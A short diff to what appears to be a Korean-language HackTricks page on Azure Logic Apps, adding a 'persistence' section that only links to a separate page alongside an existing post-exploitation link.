@@ -329,4 +407,10 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## 지속성
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user